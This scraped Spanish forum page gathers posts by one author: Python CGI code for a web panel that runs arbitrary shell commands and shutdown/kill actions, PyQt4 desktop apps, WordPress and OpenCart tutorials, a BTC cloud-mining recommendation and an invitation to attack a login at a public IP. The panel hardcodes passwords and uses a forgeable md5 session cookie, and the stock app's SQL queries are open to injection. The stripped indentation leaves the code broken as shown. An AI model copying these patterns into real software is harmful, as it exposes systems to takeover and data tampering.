<button class="widget uib_w_2 d-margins topcoat-button" data-uib="topcoat/button" data-ver="0" onclick='location.href="index.py"'>Volver</button>
<hr>
Salida:
<span id="loader"></span>
                  <span class="uib_shim"></span>
                </div>
              </div>
              <span class="uib_shim"></span>
            </div>
          </div>
          <!-- /upage-content -->

        </div>
        <!-- /upage-outer -->

      </div>
      <!-- /upage -->

    </div>
    <!-- /uwrap -->
<script language="javascript">

function execute(){

comando = $("textarea[name=comando]").val();
$("#loader").load("terminal.py", {"comando":comando});

}
</script>
  </body>

</html>'''

logueado = False
lista_usuarios = ["admin", "JaAViEr"] #Usuarios
lista_passwords = ["root", "toor"] # Contraseñas
method = os.environ['REQUEST_METHOD']
lectura_cookies = os.environ.get('HTTP_COOKIE')

if lectura_cookies:

valores_cookie = Cookie.SimpleCookie(lectura_cookies)
session_actual = valores_cookie['sess'].value # session_actual = cookie "sess"

if session_actual != "false":

for a, b in zip(lista_usuarios, lista_passwords):

session_temporal = a + b
session_temporal = md5.md5(session_temporal).hexdigest()

if session_actual == session_temporal:

logueado = True # Login coincide
break

else:

pass
else:

pass

if logueado:
if method == "GET":

print code_terminal

elif method == "POST":

form = cgi.FieldStorage()
comando = form.getvalue("comando")
lineas = comando.split("\n")
print '''
<span  style="font-family:Trebuchet Ms; color: #fff;" class="wide-control">
<br />
'''
for l in lineas:

try:

run = os.popen(l, "r")
run_content = run.read()
run_content = run_content.replace("\n", "<br>")
run_content = run_content.replace(" ", "&nbsp;")
print run_content
run.close()

except:

print "Error al ejecutar comando %s" % (l)

print "</span>"
else:
print "<script>location.href='index.py';</script>"
comando_rapido.py

Código (python) [Seleccionar] Expandir

#-*- encoding:utf-8 -*-
'''
Autor: JaAViEr
Twitter: @javieresteban__
Website: http://codigo.ga
'''
import cgi
import os
import subprocess
import Cookie
import md5

print "Content-Type: text/html"
print
code_terminal = '''
<!DOCTYPE html>
<html>

  <head>
    <link rel="stylesheet" type="text/css" href="/topcoat/css/topcoat-mobile-dark.min.css" class="uib-framework-theme">
    <link rel="stylesheet" type="text/css" href="/css/terminal_main.less.css" class="main-less">
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=0">
<title>Comandos rápidos</title>
    <script src="/js/jquery.min.js"></script>
  </head>

  <body>
    <div class="uwrap">
      <div class="upage" id="mainpage">
        <div class="upage-outer">
          <div class="upage-content" id="mainsub">

            <div class="grid grid-pad urow uib_row_3 row-height-3" data-uib="layout/row" data-ver="0">
              <div class="col uib_col_3 col-0_12-12" data-uib="layout/col" data-ver="0">
                <div class="widget-container content-area vertical-col">

                  <div class="topcoat-navigation-bar widget uib_w_1 d-margins" data-uib="topcoat/nav" data-ver="0">
                    <div class="topcoat-navigation-bar__item center full">
                      <h1 class="topcoat-navigation-bar__title">Comandos rápidos[/size][/center]
                    </div>
                  </div>
                  <span class="uib_shim"></span>
                </div>
              </div>
              <span class="uib_shim"></span>
            </div>

            <div class="grid grid-pad urow uib_row_4 row-height-4" data-uib="layout/row" data-ver="0">
              <div class="col uib_col_4 col-0_12-12" data-uib="layout/col" data-ver="0">
                <div class="widget-container content-area vertical-col">

<button class="widget uib_w_2 d-margins topcoat-button--cta" data-uib="topcoat/button" data-ver="0" onclick="comando('apagar'); return false;">Apagar</button>
<button class="widget uib_w_3 d-margins topcoat-button--cta" data-uib="topcoat/button" data-ver="0" onclick="comando('reiniciar'); return false;">Reiniciar</button>
<button class="widget uib_w_4 d-margins topcoat-button--cta" data-uib="topcoat/button" data-ver="0" onclick="comando('cancelar salida'); return false;">Cancelar Apagado/Rein.</button>
<button class="widget uib_w_5 d-margins topcoat-button--cta" data-uib="topcoat/button" data-ver="0" onclick="matar_proceso('mostrar'); return false;">Matar proceso</button>
<span id="matar_proceso" style="display:none">
<hr>
<input class="wide-control topcoat-text-input" type="text" placeholder="proceso.ext" name="proceso">
<button class="widget uib_w_6 d-margins topcoat-button wide-control" data-uib="topcoat/button" data-ver="0" onclick="matar_proceso('kill'); return false;">¡Matar ahora!</button>
<hr>
</span>
<button class="widget uib_w_6 d-margins topcoat-button--cta" data-uib="topcoat/button" data-ver="0" onclick="iniciar_proceso('mostrar'); return false;">Iniciar proceso</button>
<span id="iniciar_proceso" style="display:none">
<hr>
<input class="wide-control topcoat-text-input" type="text" placeholder="proceso.ext" name="iniciar_proceso">
<button class="widget uib_w_6 d-margins topcoat-button wide-control" data-uib="topcoat/button" data-ver="0" onclick="iniciar_proceso('iniciar'); return false;">¡Iniciar ahora!</button>
<hr>
</span>
<button class="widget uib_w_2 d-margins topcoat-button" data-uib="topcoat/button" data-ver="0" onclick='location.href="index.py"'>Volver</button>
  <span class="uib_shim"></span>
 
                </div>
              </div>
              <span class="uib_shim"></span>
            </div>
          </div>
          <!-- /upage-content -->

        </div>
        <!-- /upage-outer -->

      </div>
      <!-- /upage -->

    </div>
    <!-- /uwrap -->
  </body>
  <span id="loader" style="display:none;"></span>
  <script language="javascript">
 
  function comando(cmd){
 
$("#loader").load("comando_rapido.py", {"comando":cmd});
 
  }
  function matar_proceso(param){
 
if(param == 'mostrar'){
$("#matar_proceso").fadeIn();
$("#iniciar_proceso").fadeOut();
}else if(param == 'kill'){
proceso = $("input[name=proceso]").val();
$("#loader").load("comando_rapido.py", {"kill": proceso});
$("#matar_proceso").fadeOut();
$("input[name=proceso]").val("");
}
  }
 
  function iniciar_proceso(accion){
 
  if (accion == "mostrar"){
 
$("#matar_proceso").fadeOut();
$("#iniciar_proceso").fadeIn();

  }else if(accion == "iniciar"){
 

nuevo_proceso = $("input[name=iniciar_proceso]").val();
$("#loader").load("comando_rapido.py", {"correr": nuevo_proceso});
$("#iniciar_proceso").fadeOut();
$("input[name=iniciar_procesoproceso]").val("");
 
  }
 
  }
  </script>


</html>'''

logueado = False
lista_usuarios = ["admin", "JaAViEr"] #Usuarios
lista_passwords = ["root", "toor"] # Contraseñas
method = os.environ['REQUEST_METHOD']
lectura_cookies = os.environ.get('HTTP_COOKIE')
if lectura_cookies:
valores_cookie = Cookie.SimpleCookie(lectura_cookies)
session_actual = valores_cookie['sess'].value # session_actual = cookie "sess"

if session_actual != "false":
for a, b in zip(lista_usuarios, lista_passwords):

session_temporal = a + b
session_temporal = md5.md5(session_temporal).hexdigest()

if session_actual == session_temporal:
logueado = True # Login coincide
break

else:

pass
else:

pass

if logueado:
if os.name == "nt":

so = "windows"

else:

so = "unix"

if method == "GET":

print code_terminal

elif method == "POST":

form = cgi.FieldStorage()
comando = form.getvalue("comando")
kill = form.getvalue("kill")
correr = form.getvalue("correr")
iniciar_proceso = ""
matador = ""

try:

if correr:

if so == "windows":

iniciar_proceso = "start %s" % (correr)

elif so == "unix":

iniciar_proceso = "%s" % (correr)

subprocess.call(iniciar_proceso)

if kill:

if so == "windows":

matador = "taskkill /F /IM %s" % (kill)

elif so == "unix":

matador = "pkill -9 %s" % (kill)

kill = subprocess.call(matador)
kill.close()

if comando == "apagar":

if so == "windows":

accion = "shutdown /S /T 60"

elif so == "unix":

accion = "sudo poweroff"


elif comando == "reiniciar":

if so == "windows":

accion = "shutdown /R /T 60"

elif so == "unix":

accion = "sudo reboot"

#accion = ""

elif comando == "cancelar salida":

if so == "windows":

accion = "shutdown /A"

elif so == "unix":

accion = ""

#accion = ""


action = subprocess.call(accion)
action.close()
except:

pass

else:
print "<script>location.href='index.py';</script>"
logout.py

Código (python) [Seleccionar] Expandir

import cgi
'''
Autor: JaAViEr
Twitter: @javieresteban__
Website: http://codigo.ga
'''
print "Content-Type: text/html"
print "Set-Cookie: sess=false"
print "Location:index.py"
print
print "<script>location.href='index.py';</script>"

Un par de Screenshots de como luce el programa...

Identificación

Panel de control

Consola-Terminal Remota

Comando rápidos

Comandos rápidos - Iniciar Proceso

Comandos rápidos - Matar Proceso

Hola, muy buenos días.

Hace unos días me topé con un servicio de BTC Cloud Mining, el cuál nos permite minar BTC sin tener que comprar algún tipo de Hardware, solo invirtiendo BTC en GHS (Potencia) , los BTC minados son depositados a tu cuenta y puedes re-invertir lo ganado en más potencia, lo que obviamente se traduce en mayor cantidad de GHS = Mayor cantidad de ganancias en BTC.

¡ Se los recomiendo a toda costa !

Una vez que adquieres GHS , el proceso de minado comienza automáticamente.

Luego de Crear una Cuenta vas a "Balance" y puedes hacer depósitos en BTC a la cuenta que se te ha asignado, de esa forma puedes invertir tus BTC en más GHS.

Saludos, Javier.

["Buscar..."]

Hola, buenos días!

El siguiente programa tiene por función el poder restaurar un archivo que se ha modificado o eliminado.

El funcionamiento del programa es muy sencillo



Clic en "Buscar..." , ubicamos el archivo que deseamos proteger y damos clic en "Abrir" , una vez hecho esto el programa ya estará atento a los cambios del programa. El programa lanzará un alerta en caso de que:

• El archivo se haya eliminado.
• El archivo se haya modificado.

Junto con cualquiera de ambas alertas el programa nos dará la posibilidad de restaurar a la versión anterior (A la versión del archivo al momento de ejecutarse este programa y seleccionar el archivo)
Sin más que decir, el código

Código (python) [Seleccionar] Expandir


# -*- coding: utf-8 -*-

#Autor: JaAViEr | 0X5D
#Twitter: @javieresteban__

from PyQt4 import QtCore, QtGui
import sys, threading, os

try:
    _fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
    def _fromUtf8(s):
return s

class Formulario(QtGui.QWidget):

def __init__(self):

QtGui.QWidget.__init__(self)
self.setWindowTitle("Protector de Archivos :: 2014")
self.setFixedSize(400, 48)
self.gridLayout = QtGui.QGridLayout(self)
self.label = QtGui.QLabel(self)
self.gridLayout.addWidget(self.label, 0, 0, 1, 1)
self.archivo = QtGui.QLineEdit(self)
self.archivo.setDisabled(True)
self.gridLayout.addWidget(self.archivo, 0, 1, 1, 1)
self.boton = QtGui.QPushButton(self)
self.gridLayout.addWidget(self.boton, 0, 2, 1, 1)
self.label.setText("Archivo:")
self.boton.setText("Buscar...")
self.connect(self.boton, QtCore.SIGNAL("clicked()"), self.buscar_archivo)
self.connect(self.archivo, QtCore.SIGNAL("returnPressed()"), self.empezar)

def buscar_archivo(self):

self.file = QtGui.QFileDialog.getOpenFileName(self, 'Buscar Archivo', '')
leer = open(self.file, "rb")
self.lineas = leer.read()
leer.close()
self.archivo.setText(self.file)
self.size = os.path.getsize(self.file)
self.empezar()

def empezar(self):

h = Hilo()
h.start()

class Hilo(threading.Thread):

def run(self):

while True:
try:
open(form.file)
estado = True
except:
estado = False

if estado:
tama = os.path.getsize(form.file)
if tama == form.size:
pass
else:
self.restaurar()
else:
self.restaurar()

def restaurar(self):

try:
f = open(form.file, "wb")
f.write(form.lineas)
f.close()
QtGui.QMessageBox.about(None, 'Alerta',_fromUtf8('El archivo se restauró exitosamente!'))
except:
QtGui.QMessageBox.about(None, 'Alerta',_fromUtf8('Error al intentar restaurar!'))
app = QtGui.QApplication(sys.argv)
form = Formulario()
form.show()
app.exec_()


Saludos, Javier.

[PyQT4 & SQLite]

Hola, muy buenos días.

Hace unos días re-re-re-re-tome PyQT4 & SQLite, con lo que se me ocurrió hacer un programa (a forma de práctica) que me ayude a manejar el Stock de productos, con opción de:

• Eliminar Producto
• Agregar Producto
• Actualizar Producto

El programa luce exactamente así:


Para Editar o Actualizar Producto primero debemos seleccionar el producto y posteriormente dar clic en el botón de la acción que deseamos realizar
Actualizar Producto:

Agregar Producto:


Sin más preámbulos , el código:

Código (python) [Seleccionar] Expandir


# -*- coding: cp1252 -*-

from PyQt4 import QtCore, QtGui
import sys, sqlite3

try:
    _fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
    def _fromUtf8(s):
return s

class Formulario(QtGui.QWidget):

def __init__(self, parent=None):

QtGui.QWidget.__init__(self, parent)
self.setFixedSize(591, 471)
self.gridLayout = QtGui.QGridLayout(self)
self.label = QtGui.QLabel(self)
self.gridLayout.addWidget(self.label, 0, 0, 1, 2)
self.treeWidget = QtGui.QTreeWidget(self)
self.treeWidget.header().setDefaultSectionSize(150)
self.gridLayout.addWidget(self.treeWidget, 1, 0, 1, 3)
self.boton_eliminar = QtGui.QPushButton(self)
self.gridLayout.addWidget(self.boton_eliminar, 2, 0, 1, 1)
self.boton_agregar = QtGui.QPushButton(self)
self.gridLayout.addWidget(self.boton_agregar, 2, 1, 1, 1)
self.boton_actualizar = QtGui.QPushButton(self)
self.gridLayout.addWidget(self.boton_actualizar, 2, 2, 1, 1)
self.setWindowTitle("Visualizador de Stock")
self.label.setText(_fromUtf8("Información del stock actual:"))
self.treeWidget.headerItem().setText(0, "ID")
self.treeWidget.headerItem().setText(1, "Producto")
self.treeWidget.headerItem().setText(2, "Precio unitario")
self.treeWidget.headerItem().setText(3, "Cantidad")
__sortingEnabled = self.treeWidget.isSortingEnabled()
self.treeWidget.setSortingEnabled(False)

self.conexion = sqlite3.connect("stock.db")
self.controla = self.conexion.cursor()
try:
self.controla.execute("CREATE TABLE stock (id int, nombre text, precio int, cantidad int)")
self.controla.execute("INSERT INTO stock VALUES (1, 'Producto Demo', 2500, 100)")
self.commit()
except:
pass

self.treeWidget.setSortingEnabled(__sortingEnabled)
self.boton_eliminar.setText("Eliminar producto")
self.boton_agregar.setText("Agregar producto")
self.boton_actualizar.setText(_fromUtf8("Actualizar información"))
self.connect(self.boton_eliminar, QtCore.SIGNAL("clicked()"), self.eliminar)
self.connect(self.boton_agregar, QtCore.SIGNAL("clicked()"), self.agregar)
self.connect(self.boton_actualizar, QtCore.SIGNAL("clicked()"), self.actualizar)
self.connect(self.treeWidget, QtCore.SIGNAL("itemPressed(QTreeWidgetItem*, int)"), self.seleccion)
self.carga()

def carga(self):

self.treeWidget.reset()
self.controla.execute("SELECT * FROM stock")
l = 0
for row in self.controla:
item_0 = QtGui.QTreeWidgetItem(self.treeWidget)
id, nombre, precio, cantidad = row
self.treeWidget.topLevelItem(l).setText(0, str(id))
self.treeWidget.topLevelItem(l).setText(1, nombre)
self.treeWidget.topLevelItem(l).setText(2, str(precio))
self.treeWidget.topLevelItem(l).setText(3, str(cantidad))
item_0 = QtGui.QTreeWidgetItem(self.treeWidget)
l = l + 1

self.conexion.commit()

def agregar(self):

agregar.show()

def seleccion(self, qt, i):
self.item = self.treeWidget.currentItem()
self.id_prod = self.item.text(0)
self.nombre_prod = self.item.text(1)
self.precio_prod = self.item.text(2)
self.cantidad_prod = self.item.text(3)

def eliminar(self):
if self.id_prod:
reply = QtGui.QMessageBox.question(self,  'Message',  _fromUtf8('¿Estás seguro?'),  QtGui.QMessageBox.Yes | QtGui.QMessageBox.No, QtGui.QMessageBox.Yes)
if reply == QtGui.QMessageBox.Yes:
self.controla.execute("DELETE FROM stock WHERE id = %s" % self.id_prod)
self.conexion.commit()
self.carga()

def actualizar(self):

actualizar.cargador(str(self.id_prod), self.nombre_prod, str(self.precio_prod), str(self.cantidad_prod))
actualizar.show()

class Agregar(QtGui.QWidget):

def __init__(self, parent=None):

QtGui.QWidget.__init__(self, parent)
self.setFixedSize(400, 151)
self.gridLayout = QtGui.QGridLayout(self)
self.label_nombre = QtGui.QLabel(self)
self.gridLayout.addWidget(self.label_nombre, 0, 0, 1, 1)
self.input_nombre = QtGui.QLineEdit(self)
self.gridLayout.addWidget(self.input_nombre, 0, 2, 1, 1)
self.label_precio = QtGui.QLabel(self)
self.gridLayout.addWidget(self.label_precio, 1, 0, 1, 1)
self.input_precio = QtGui.QLineEdit(self)
self.gridLayout.addWidget(self.input_precio, 1, 2, 1, 1)
self.label_cantidad = QtGui.QLabel(self)
self.gridLayout.addWidget(self.label_cantidad, 2, 0, 1, 2)
self.input_cantidad = QtGui.QLineEdit(self)
self.gridLayout.addWidget(self.input_cantidad, 2, 2, 1, 1)
self.input_id = QtGui.QLineEdit(self)
self.gridLayout.addWidget(self.input_id, 3, 2, 1, 1)
self.label_id = QtGui.QLabel(self)
self.gridLayout.addWidget(self.label_id, 3, 0, 1, 1)
self.boton_agregar = QtGui.QPushButton(self)
self.gridLayout.addWidget(self.boton_agregar, 4, 0, 1, 3)
self.setWindowTitle("Agregar producto")
self.label_nombre.setText("Nombre:")
self.label_precio.setText("Precio:")
self.label_cantidad.setText("Cantidad:")
self.label_id.setText("ID:")
self.boton_agregar.setText("Agregar")
self.connect(self.boton_agregar, QtCore.SIGNAL("clicked()"), self.agregar_producto)

def agregar_producto(self):

self.conexion = sqlite3.connect("stock.db")
self.get = self.conexion.cursor()
id = str(self.input_id.text())
nombre = str(self.input_nombre.text())
precio = str(self.input_precio.text())
cantidad = str(self.input_cantidad.text())
query = "SELECT * FROM stock WHERE id = %s" % id
if self.get.execute(query).fetchone() != None:
QtGui.QMessageBox.question(self,  'Alerta',  _fromUtf8('El ID ya está asociado a otro producto.'))
else:
self.get.execute("INSERT INTO stock VALUES (%s, '%s', %s, %s)" % (int(id), nombre, int(precio), int(cantidad)))
self.conexion.commit()
form.carga()
self.hide()

class Actualizar(QtGui.QWidget):

def __init__(self):

QtGui.QWidget.__init__(self)
self.setFixedSize(400, 151)
self.gridLayout = QtGui.QGridLayout(self)
self.label_nombre = QtGui.QLabel(self)
self.gridLayout.addWidget(self.label_nombre, 0, 0, 1, 1)
self.input_nombre = QtGui.QLineEdit(self)
self.gridLayout.addWidget(self.input_nombre, 0, 2, 1, 1)
self.label_precio = QtGui.QLabel(self)
self.gridLayout.addWidget(self.label_precio, 1, 0, 1, 1)
self.input_precio = QtGui.QLineEdit(self)
self.gridLayout.addWidget(self.input_precio, 1, 2, 1, 1)
self.label_cantidad = QtGui.QLabel(self)
self.gridLayout.addWidget(self.label_cantidad, 2, 0, 1, 2)
self.input_cantidad = QtGui.QLineEdit(self)
self.gridLayout.addWidget(self.input_cantidad, 2, 2, 1, 1)
self.label_id = QtGui.QLabel(self)
self.gridLayout.addWidget(self.label_id, 3, 0, 1, 1)
self.input_id = QtGui.QLineEdit(self)
self.input_id.setDisabled(True)
self.gridLayout.addWidget(self.input_id, 3, 2, 1, 1)
self.boton_actualizar = QtGui.QPushButton(self)
self.gridLayout.addWidget(self.boton_actualizar, 4, 0, 1, 3)
self.setWindowTitle("Agregar producto")
self.label_nombre.setText("Nombre:")
self.label_precio.setText("Precio:")
self.label_cantidad.setText("Cantidad:")
self.label_id.setText("ID:")
self.boton_actualizar.setText("Actualizar")
self.connect(self.boton_actualizar, QtCore.SIGNAL("clicked()"), self.actualizar)

def cargador(self, id="", nombre="", precio="", cantidad=""):

self.input_id.setText(id)
self.input_nombre.setText(nombre)
self.input_precio.setText(precio)
self.input_cantidad.setText(cantidad)

def actualizar(self):

self.id = str(self.input_id.text())
self.nombre = str(self.input_nombre.text())
self.precio = str(self.input_precio.text())
self.cantidad = str(self.input_cantidad.text())
self.conexion = sqlite3.connect("stock.db")
self.get = self.conexion.cursor()
query = "UPDATE stock SET nombre = '%s', precio = %s, cantidad = %s WHERE id = %s " % (self.nombre, int(self.precio), int(self.cantidad), int(self.id))
try:
self.get.execute(query)
self.conexion.commit()
form.carga()
self.hide()
QtGui.QMessageBox.question(self,  'Alerta',  _fromUtf8('Producto actualizado correctamente.'))
except:
QtGui.QMessageBox.question(self,  'Alerta',  _fromUtf8('No se pudo actualizar.'))

app = QtGui.QApplication(sys.argv)
actualizar = Actualizar()
agregar = Agregar()
form = Formulario()
form.show()
app.exec_()


Fuente: http://codigo.ga/python/python-qt4-manejo-de-stock-sencillo-v1-jaavier/

[Facebook & Twitter]

Fuente original del artículo: http://miweb.in/addthis-compartiendo-nuestras-entradas-en-redes-sociales/

Si eres de los que maneja un blog con presencia en redes sociales como Facebook & Twitter este plugin te encantará. Se trata del plugin "AddThis", el cual nos añadirá en cada entrada, página y categoría una barra completa para compartir en cientos de servicios, entre ellos Twitter, Facebook, Bit.ly, E-mail, etc.

¡ Manos a la obra !

Para llevar acabo nuestro cometido, es preciso que se dirijan a Plugins > Añadir Nuevo > Buscar e ingresar "Addthis".





Yo ya lo tengo instalado, pero le das clic a "Instalar ahora" y lo activas. Una vez hecho esto podemos pasar a la configuración de nuestro nuevo plugin.

Configurando AddThis

Nos dirigimos a Ajustes > AddThis

Te explico:

Top Sharing Tool : Si tienes activa esta opción, te añadirá la barra de compartir en la parte superior de cada página. Puedes deshabilitar esta opción seleccionando "Do not show a sharing tool at the Top of posts".

Bottom Sharing Tool: Añade la barra de compartir en la parte inferior de cada página. Al igual que en la opción anterior, puedes desactivarla cliqueando en "Do not show a sharing tool at the Top of posts".

A la derecha tenemos un panel de como se verían nuestras entradas con la actual configuración, como se ve en el ejemplo, solo está marcado que añada la barra en la parte inferior de nuestras páginas.



Este plugin nos frece la posibilidad de desactivar estas barras al momento de añadir una nueva página, entrada o categoría.

¿ Alguna consulta ? No dudes en enviarla en el comentario de esta entrada.



Saludos, Javier.

[OpenCart]

Si estás usando OpenCart y te diste cuenta que todo estaba en inglés no solo en el Inicio, sino que también en tu Panel de Administración, te recomiendo seguir leyendo esta entrada para aprender paso a paso como pasar de Inglés a Español.

Para poder traducir tu tienda, debes descargar el parche de idioma español primero, el cuál puedes descargar directamente dando clic acá.

Agregando un nuevo idioma

Bien, una vez que ya tengamos el parche en nuestro computador, lo subiremos vía FTP a nuestro servidor, recuerda extraer el archivo opencart-espanol.zip en la raíz de tu tienda, por ejemplo una tienda alojada en http://miweb.in/demo , extraería el contenido del zip en /public_html/www/demo/.


Entramos en nuestro Panel de Administración OpenCart (/admin) y nos dirigimos de inmediato a System / Localisation / Languages :



Dentro nos encontraremos con esto:



Damos clic en Insert, una vez dentro te pedirá rellenar una información, tal cual la siguiente imagen (por favor rellena con los mismos datos que aparecen):



Una vez hayas rellenado todo el formulario, guarda la configuración dando clic en Save (Esquina superior derecha).

Configurando el idioma principal

Bien, ya hemos añadido el idioma Español a nuestra tienda, ahora vamos a configurar nuestra preferencia, dejando el español como idioma principal. Para aquello nos tenemos que dirigir al menú System / Settings, ya dentro de dicha opción nos devolverá:



A lo que daremos clic en Edit en la tienda que desean configurar para idioma español, Your Store en mi caso .

Ahora que estamos dentro nos vamos a la pestaña Local:



Y cambiamos Language y Administration Language por:



Una vez hecho esto damos nuevamente clic en Save y nuestra tienda y panel de administración han sido correctamente configurados al idioma español.

¿  Sencillo no ?

Ante cualquier consulta no dudes en exponerla comentando esta entrada, con gusto intentaremos ayudarte.

Fuente: http://miweb.in/opencart-instalando-y-configurando-idioma-espanol/

Saludos, Javier.

[Goolgle Analytics]

Hola !

En esta oportunidad veremos como utilizar Goolgle Analytics con WordPress. ¡ Vamos directo al grano !

¿ Cómo lo hago ?

Primero que todo, si no tienes una cuenta en Google Analytics, puedes asociar tu cuenta de Gmail aquí .
Ya asociada nuestra cuenta, tendremos que rellenar un formulario con datos sobre nuestro sitio web, aceptar las políticas de uso y privacidad. Posterior a eso, nos dirigimos a Administrador y veremos esto:



Cuando des clic en Código de seguimiento tendrás que copiar tu ID:


(Obviamente con tu propio ID, en este caso mi id es UA-49848020-1)

¿ Dónde encuentro el plugin ?

Puedes descargar el plugin desde WordPress Plugins

Instalando plugin

Una vez completada la descarga del plugin, vamos a nuestro panel de administración (/wp-admin) y ubicamos en nuestro menú Plugins / Añadir nuevo, donde nos encontraremos con esto:


En Subir nos pedirá buscar el plugin en formato .zip



Damos clic en "Instalar Ahora"...

Configurando el plugin

Una vez instalado el plugin tenemos que configurarlo, ahora es cuando entra en juego tu ID de Seguimiento.
Vamos a Ajustes / Google Analytics...


Pegamos nuestro ID de seguimiento en el recuadro y le damos

Una vez finalizados estos pasos, al ingresar en tu cuenta de Google Analytics podrás ver los informes generados por las visitas a tu blog.

¡ Espero haya sido de utilidad ! Recuerda que ante cualquier consulta , no dudes en dejarla en nuestros comentarios .

Fuente: http://miweb.in/wordpress-instalando-y-configurando-google-analytics/

Saludos, Javier.

[Panel de Administración]

Hola nuevamente! Una vez instalado WordPress en nuestro servidor, no queda más que empezar a darle vida al Blog añadiendo entradas (Publicaciones). Al grano...

Lo primero, debes ingresar en tu Panel de Administración (/wp-admin) , ahí encontrarás algo como esto

Ahí, en el menú izquierdo encontrarás el enlace "Entradas" , al poner el mouse encima, te dará estas opciones

Una vez ahí dentro creo que el panel es muy intuitivo, por lo que hay cosas que no es necesario desarrollar. Contamos con opciones para personalizar el formato de la entrada que estamos agregando:



Más abajo el panel nos da 2 posibilidades respecto a la Categoría de nuestra entrada:

   
• Especificar la categoría de nuestra entrada, si no seleccionas alguna, por defecto quedará en "Sin categoría".
• Añadir una nueva categoría.

Otra de las opciones que nos provee WordPress, es la posibilidad de añadir etiquetas a nuestra entrada. Es totalmente opcional ingresar algunas etiquetas, pero si lo recomiendan para ayudar al buscador interno a encontrar las cosas, por lo general son como las palabras claves.


La imagen que añadas en esta sección será la que acompañe como recurso gráfico a la entrada.

Si tienes alguna duda respecto al funcionamiento de alguna función al añadir entradas, puedes hacer la pregunta respondiendo a esta entrada. Con gusto será respondida Puedes compartir esta entrada en Twitter

Fuente: http://miweb.in/como-anadir-una-entrada-en-wordpress-3-8-2/

Saludos, Javier.

Hola, muy buenos días.

Hace un rato hice un login tipo patrón de android (que visualmente no se asemeja mucho, pero bueeh), el que me parece muy seguro, su url es http://181.41.199.11/patron/ , quisiera proponer vulnerar el sistema para medir la fortaleza. Así posteriormente quizás poder desarrollarlo de forma grupal.

Pista: Usuario: admin

Saludos.

Hola, muy buenos días.

De antemano pedir disculpas si publico en la sección equivocada


Al grano... He creado una aplicación en PyQT4 , la cuál logré convertir a .exe mediante el ya popular py2exe.

¿ Cuál es el problema ?

Al dar un link de descarga y posteriormente ejecutar, dice Windows que la aplicación no es segura y pide confirmación
para su ejecución... Como podría yo solucionar ese tema y hacer que al descargar el programa, no diga que la app no es segura ?

El soft no es nada malicioso, de hecho es algo así como un buscador...

Saludos!

Hola, buen día !

Hoy navegando por la web "Daw-Labs", me topé con que el compañero WindHack creó una aplicación para buscar iconos en https://www.iconfinder.com . Intenté hacerlo igual visualmente, pero en PyQT4 (además me sirvió de práctica) espero os guste :

Código (python) [Seleccionar] Expandir


# -*- coding: utf-8 -*-
# Autor: 0x5d | JaAViEr
# Twitter: @0x5d

from PyQt4 import QtGui, QtCore, QtWebKit
import sys
import urllib
import re

try:
    _fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
    def _fromUtf8(s):
        return s


class programa(QtGui.QWidget):

def __init__(self, parent=None):
QtGui.QWidget.__init__(self, parent)
self.msg = QtGui.QMessageBox(self)
self.msg.setWindowTitle(_fromUtf8("Información"))
self.setWindowTitle(_fromUtf8('IconFinder PyQT4 Version | 0x5d'))
self.resize(529, 440)
self.input_busqueda = QtGui.QLineEdit(self)
self.input_busqueda.setGeometry(10, 20, 371, 20)
self.boton_buscar = QtGui.QPushButton("Buscar", self)
self.boton_buscar.setGeometry(390, 10, 61, 41)
self.boton_guardar = QtGui.QPushButton("Guardar", self)
self.boton_guardar.setGeometry(455, 10, 61, 41)
self.connect(self.boton_guardar, QtCore.SIGNAL("clicked()"), self.guardar)
#TABLA ORDENADORA DE RESULTADOS
self.tabla = QtGui.QTreeWidget(self)
self.tabla.setGeometry(0, 195, 530, 246)
self.tabla.headerItem().setText(0, "#")
self.tabla.headerItem().setText(1, "Id.")
self.tabla.headerItem().setText(2, _fromUtf8("Tamaño"))
self.tabla.headerItem().setText(3, "Url")
#FIN TABLA
self.grupo_options = QtGui.QGroupBox(self)
self.grupo_options.setGeometry(10, 47, 291, 101)
self.icon_perpage_label = QtGui.QLabel(self.grupo_options)
self.icon_perpage_label.setGeometry(20, 30, 90, 16)
self.icons_perpage_spin = QtGui.QSpinBox(self.grupo_options)
self.icons_perpage_spin.setGeometry(113, 27, 47, 22)
self.icons_perpage_spin.setProperty("value", 20)
self.minimum_size_label = QtGui.QLabel(self.grupo_options)
self.minimum_size_label.setGeometry(20, 70, 100, 13)
self.minimum_size_spin = QtGui.QSpinBox(self.grupo_options)
self.minimum_size_spin.setMaximum(190)
self.minimum_size_spin.setGeometry(113, 65, 47, 22)
self.minimum_size_spin.setProperty("value", 16)
self.maximum_size_label = QtGui.QLabel(self.grupo_options)
self.maximum_size_label.setGeometry(170, 70, 70, 13)
self.maximum_size_spin = QtGui.QSpinBox(self.grupo_options)
self.maximum_size_spin.setGeometry(241, 67, 42, 22)
self.maximum_size_spin.setMaximum(190)
self.maximum_size_spin.setProperty("value", 40)
self.grupo_preview = QtGui.QGroupBox(self)
self.grupo_preview.setGeometry(320, 47, 201, 141)
self.total_results_label = QtGui.QLabel(self)
self.total_results_label.setGeometry(20, 145, 81, 21)
self.total_results_label.setStyleSheet("font-weight: bold;")
self.numero_results_label = QtGui.QLabel(self)
self.numero_results_label.setGeometry(100, 145, 31, 21)
self.numero_results_label.setStyleSheet("font-weight: bold;")
self.viewing_page_label = QtGui.QLabel(self)
self.viewing_page_label.setGeometry(132, 145, 91, 21)
self.viewing_page_label.setStyleSheet("font-weight: bold;")
self.number_vpage_label = QtGui.QLabel(self)
self.number_vpage_label.setGeometry(190, 145, 51, 21)
self.number_vpage_label.setStyleSheet("font-weight: bold;")
self.go_page_label = QtGui.QLabel(_fromUtf8("Ir a página:"), self)
self.go_page_label.setGeometry(20, 170, 71, 16)
self.go_page_label.setStyleSheet("font-weight: bold;")
self.go_page_spin = QtGui.QSpinBox(self)
self.go_page_spin.setGeometry(89, 168, 42, 22)

self.grupo_options.setTitle("Opciones")
self.icon_perpage_label.setText(_fromUtf8("Iconos por página:"))
self.minimum_size_label.setText(_fromUtf8("Tamaño mínimo    :"))
self.maximum_size_label.setText(_fromUtf8("Tam. máximo:"))
self.grupo_preview.setTitle("Prevista")
self.total_results_label.setText("Resultados:")
self.numero_results_label.setText("0")
self.viewing_page_label.setText(_fromUtf8("| Página:"))
self.number_vpage_label.setText("0")
self.connect(self.boton_buscar, QtCore.SIGNAL("clicked()"), self.buscar)
